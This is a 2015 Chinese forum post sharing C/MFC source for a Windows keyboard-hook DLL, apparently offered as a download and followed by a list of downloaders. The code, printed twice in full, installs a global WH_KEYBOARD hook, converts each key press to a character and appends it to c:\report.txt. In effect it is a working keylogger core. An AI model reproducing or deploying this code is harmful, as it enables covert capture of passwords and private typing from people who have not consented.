-
-
[下载]keybord hook
-
发表于: 2015-8-29 20:11 1599
-
键盘钩子
核心code:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch;
if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if(wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
//将键盘消息传递给其他钩子链上的程序
LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
return RetVal;
}
//安装键盘钩子
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}
//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}
BOOL CHookKBApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return CWinApp::InitInstance();
}
int CHookKBApp::ExitInstance()
{
// TODO: Add your specialized code here and/or call the base class
UnHook(); //卸载键盘钩子
return CWinApp::ExitInstance();
}
核心code:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch;
if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if(wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
//将键盘消息传递给其他钩子链上的程序
LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
return RetVal;
}
//安装键盘钩子
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen("c:\\report.txt","w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}
//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}
BOOL CHookKBApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return CWinApp::InitInstance();
}
int CHookKBApp::ExitInstance()
{
// TODO: Add your specialized code here and/or call the base class
UnHook(); //卸载键盘钩子
return CWinApp::ExitInstance();
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
谁下载
jr21066
ldljlzw
ylp1332
cxjnet
option
huangyalei
lmsoft
NutCracker
RuShi
luohb
ljjdiao
yzwyq
phenge
jassy
欣喜
shidephen
tubalu
kimkundo
长不能大
vistann
wanjumuma
KooJiSung
红尘颠倒
adda
michallsun
lishhu
LOVEZ
xiangxian
xJJuno
lzgking
luorqaaa
值得怀疑
dxzhang
hnlylxh
miaoqaz
一路走好
wazg
wangyushu
duhefei
asdli
kidom
折翼
kutsuki
hnllhuihui
默写lose挚爱
asmbin
我是谁!
lxyayxh
bsun
fourier
盛shine
赞赏
雪币:
留言: